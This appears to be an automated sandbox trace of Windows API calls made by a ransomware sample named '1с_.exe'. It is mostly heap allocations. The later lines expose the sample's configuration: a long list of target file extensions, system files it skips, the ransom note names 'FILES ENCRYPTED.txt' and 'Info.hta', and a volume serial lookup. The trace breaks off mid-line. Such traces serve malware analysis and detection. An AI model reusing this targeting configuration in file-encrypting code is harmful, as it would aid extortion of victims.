[0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549d68 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549d80 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5452d8 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549d98 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549db0 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549dc8 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x549fb8 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549de0 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549df8 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549e10 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549e28 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549e40 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549e58 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549e70 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549e88 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549ea0 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549eb8 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549ed0 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549ee8 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549f00 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549f18 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549f30 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549f48 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549f60 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549f78 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c458 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c470 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c488 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x549fc8 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x549fd8 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c4a0 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c4b8 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c4d0 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c4e8 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c500 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55c518 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c530 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c548 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c560 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c578 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55c590 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c5a8 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c5c0 [0037.310] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x549188, Size=0x400) returned 0x549188 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c5d8 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c5f0 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55c608 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c620 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c638 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c650 [0037.310] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55c668 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c680 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c698 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c6b0 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x549fe8 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c6c8 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55c6e0 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c6f8 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c710 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c728 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c740 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x55c758 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c770 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c788 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c7a0 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c7b8 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c7d0 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c7e8 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c800 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c818 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x549ff8 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c858 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c870 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c888 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c8a0 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c8b8 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c8d0 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c8e8 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c900 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c918 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x55c930 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c948 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x55c960 [0037.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c978 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c990 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c9a8 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c9c0 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c9d8 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55c9f0 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ca08 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ca20 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ca38 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ca50 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ca68 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ca80 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ca98 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cab0 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cac8 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cae0 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55caf8 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cb10 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cb28 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cb40 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cb58 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cb70 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cb88 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x55cba0 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12) returned 0x545ef0 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cbb8 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cbd0 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cbe8 [0037.312] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cc00 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cc18 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cc58 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cc70 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cc88 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cca0 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ccb8 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ccd0 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cce8 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cd00 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cd18 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cd30 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cd48 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cd60 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cd78 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cd90 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cda8 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55cdc0 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55cdd8 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55cdf0 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x55ce08 [0037.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55ce20 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54a008 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ce38 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54a018 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ce50 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ce68 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ce80 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55ce98 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55ceb0 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cec8 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55cee0 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cef8 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cf10 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55cf28 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cf40 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55cf58 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55cf70 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cf88 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54a028 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cfa0 [0037.314] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cfb8 [0037.314] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x549188, Size=0x800) returned 0x55d440 [0037.315] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0037.315] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b438 | out: hHeap=0x510000) returned 1 [0037.315] lstrlenW (lpString="") returned 0 [0037.315] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55dd80 | out: hHeap=0x510000) returned 1 [0037.315] lstrlenW (lpString=".asd") returned 4 [0037.315] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524740, Size=0x8) returned 0x524740 [0037.315] lstrlenW (lpString=".asd") returned 4 [0037.315] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55dd80 | out: hHeap=0x510000) returned 1 [0037.315] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55ddb0, Size=0x20) returned 0x524360 [0037.315] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524360, Size=0x40) returned 0x546a70 [0037.315] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546a70, Size=0x80) returned 0x56b440 [0037.315] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a098, Size=0x8) returned 0x54a0a8 [0037.315] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0a8, Size=0x10) returned 0x55ddb0 [0037.315] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55ddb0, Size=0x20) returned 0x524338 [0037.315] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0037.315] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b440 | out: hHeap=0x510000) returned 1 [0037.315] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55dde0, Size=0x20) returned 0x545920 [0037.315] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545920, Size=0x40) returned 0x546a70 [0037.315] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0037.315] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0037.316] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x546a70 | out: hHeap=0x510000) returned 1 [0037.316] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55dde0, Size=0x20) returned 0x545920 [0037.316] lstrlenW (lpString="Info.hta") returned 8 [0037.316] lstrlenW (lpString="Info.hta") returned 8 [0037.316] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545920 | out: hHeap=0x510000) returned 1 [0037.316] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x57d430, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1с_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1с_.exe")) returned 0x2d [0037.316] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57d430 | out: hHeap=0x510000) returned 1 [0037.316] lstrlenW (lpString="1с_.exe") returned 7 [0037.316] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524338, Size=0x40) returned 0x546a70 [0037.316] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55ddf8, Size=0x20) returned 0x524338 [0037.317] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55ddf8, Size=0x20) returned 0x545920 [0037.317] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545920, Size=0x40) returned 0x546ab8 [0037.317] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546ab8, Size=0x80) returned 0x56b440 [0037.317] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b440, Size=0x100) returned 0x55b438 [0037.317] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0037.317] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b438 | out: hHeap=0x510000) returned 1 [0037.317] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x57d430, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0037.317] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58d438 | out: hHeap=0x510000) returned 1 [0037.317] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57d430 | out: hHeap=0x510000) returned 1 [0037.317] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0a8, Size=0x8) returned 0x54a098 [0037.317] lstrlenW (lpString="%windir%;") returned 9 [0037.317] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524338 | out: hHeap=0x510000) returned 1 [0037.317] lstrlenW (lpString="C:\\Windows;") returned 11 [0037.317] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56d428 | out: hHeap=0x510000) returned 1 [0037.317] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55de10, Size=0x20) returned 0x524338 [0037.317] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524338, Size=0x40) returned 0x546ab8 [0037.317] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546ab8, Size=0x80) returned 0x56b440 [0037.317] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b440, Size=0x100) returned 0x55b438 [0037.317] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0d8, Size=0x8) returned 0x54a0e8 [0037.317] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0e8, Size=0x10) returned 0x55de58 [0037.317] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55de58, Size=0x20) returned 0x524338 [0037.317] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0a8, Size=0x8) returned 0x54a0e8 [0037.317] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0b8, Size=0x8) returned 0x54a0a8 [0037.318] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0d8, Size=0x8) returned 0x54a0f8 [0037.318] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0f8, Size=0x10) returned 0x55df00 [0037.318] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55df00, Size=0x20) returned 0x545920 [0037.318] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0e8, Size=0x10) returned 0x55df00 [0037.318] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0a8, Size=0x10) returned 0x55df30 [0037.318] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0e8, Size=0x8) returned 0x54a0d8 [0037.318] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a108, Size=0x8) returned 0x54a118 [0037.318] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55df00, Size=0x20) returned 0x5458d0 [0037.318] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55df30, Size=0x20) returned 0x545830 [0037.318] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a128, Size=0x8) returned 0x54a138 [0037.318] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0037.318] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b438 | out: hHeap=0x510000) returned 1 [0037.318] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55dfa8, Size=0x20) returned 0x545948 [0037.318] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x56d428, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0037.318] lstrlenW (lpString="C:\\") returned 3 [0037.318] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0037.319] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56d428 | out: hHeap=0x510000) returned 1 [0037.319] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a168, Size=0x82) returned 0x55b9a0 [0037.319] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a188, Size=0x100) returned 0x55ba30 [0037.319] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55b9a0, Size=0x104) returned 0x55bc58 [0037.319] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55ba30, Size=0x200) returned 0x55bd68 [0037.321] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a178 | out: hHeap=0x510000) returned 1 [0037.321] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55bd68 | out: hHeap=0x510000) returned 1 [0037.321] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b5d0 | out: hHeap=0x510000) returned 1 [0037.321] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b5d8 | out: hHeap=0x510000) returned 1 [0037.321] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e008 | out: hHeap=0x510000) returned 1 [0037.321] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b660 | out: hHeap=0x510000) returned 1 [0037.321] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b5b8 | out: hHeap=0x510000) returned 1 [0037.321] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55bc58 | out: hHeap=0x510000) returned 1 [0037.321] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e020 | out: hHeap=0x510000) returned 